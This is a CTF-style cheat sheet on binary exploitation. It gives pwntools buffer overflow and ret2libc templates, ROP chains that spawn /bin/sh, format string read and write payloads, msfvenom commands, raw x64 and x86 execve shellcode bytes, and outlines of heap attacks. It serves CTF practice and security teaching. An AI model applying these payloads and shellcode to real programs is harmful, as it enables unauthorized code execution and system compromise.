Skip to content
CTF

Binary Exploitation (Pwn)

Buffer overflows, ROP, format strings, and heap exploitation

Initial Analysis

BASH
# File info
file binary
checksec binary

# Security features
CANARY      # Stack canary protection
NX          # Non-executable stack
PIE         # Position independent
RELRO       # Relocation read-only

Buffer Overflow

Finding Offset

PYTHON
# Generate pattern
from pwn import *
cyclic(200)  # Generate pattern

# After crash, find offset
cyclic_find(0x61616164)  # Find position

GDB/GEF Method

BASH
# In gdb-gef
pattern create 200
run < <(echo "pattern here")
pattern offset $rsp

Basic Exploit Template

PYTHON
from pwn import *

p = process('./binary')
# p = remote('host', port)

offset = 40
ret_addr = p64(0xdeadbeef)

payload = b'A' * offset + ret_addr
p.sendline(payload)
p.interactive()

Return-Oriented Programming (ROP)

Finding Gadgets

BASH
# ROPgadget
ROPgadget --binary binary

# ropper
ropper -f binary

# Common gadgets
pop rdi; ret
pop rsi; pop r15; ret
ret  # Stack alignment

ROP Chain Example

PYTHON
from pwn import *

elf = ELF('./binary')
rop = ROP(elf)

# Call system("/bin/sh")
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]
bin_sh = next(elf.search(b'/bin/sh'))
system = elf.symbols['system']

payload = flat(
    b'A' * offset,
    ret,              # Stack alignment
    pop_rdi,
    bin_sh,
    system
)

Format String

Reading Memory

BASH
# Stack leak
%x %x %x %x
%p %p %p %p

# Specific position
%7$p    # 7th value on stack
%n$s    # Read string at position n

Writing Memory

BASH
# Write to address
%n      # Write number of chars printed
%hn     # Write 2 bytes
%hhn    # Write 1 byte

# Example: Write 0x1234 to addr
python -c 'print "\xef\xbe\xad\xde" + "%4660c%7$n"'

Pwntools Format String

PYTHON
from pwn import *

# Read address
payload = fmtstr_payload(offset, {target_addr: value})

Shellcode

Generate with msfvenom

BASH
msfvenom -p linux/x64/exec CMD="/bin/sh" -f python
msfvenom -p linux/x86/exec CMD="/bin/sh" -f python

Common Shellcodes

PYTHON
# Linux x64 execve("/bin/sh")
shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"

# Linux x86
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

Ret2Libc

PYTHON
from pwn import *

libc = ELF('./libc.so.6')
elf = ELF('./binary')

# Leak libc address
# ... get leak ...
libc.address = leak - libc.symbols['puts']

system = libc.symbols['system']
bin_sh = next(libc.search(b'/bin/sh'))

payload = flat(
    b'A' * offset,
    pop_rdi,
    bin_sh,
    system
)

Heap Exploitation

Use-After-Free

TEXT
1. Allocate chunk A
2. Free chunk A
3. Allocate chunk B (same size) - gets A's memory
4. Use dangling pointer to A

Double Free

TEXT
1. free(A)
2. free(B)  
3. free(A)  # A is in freelist twice
4. Allocate, get A
5. Allocate, get B
6. Allocate, get A again

House of Force

TEXT
# Overwrite top chunk size
# Allocate huge chunk to wrap around
# Next allocation lands at target

Debugging

BASH
# GDB commands
gdb ./binary
b main           # Breakpoint
r                # Run
c                # Continue
ni               # Next instruction
si               # Step into
x/20wx $rsp      # Examine 20 words at rsp
vmmap            # Memory map (gef)
heap             # Heap info (gef)
On this page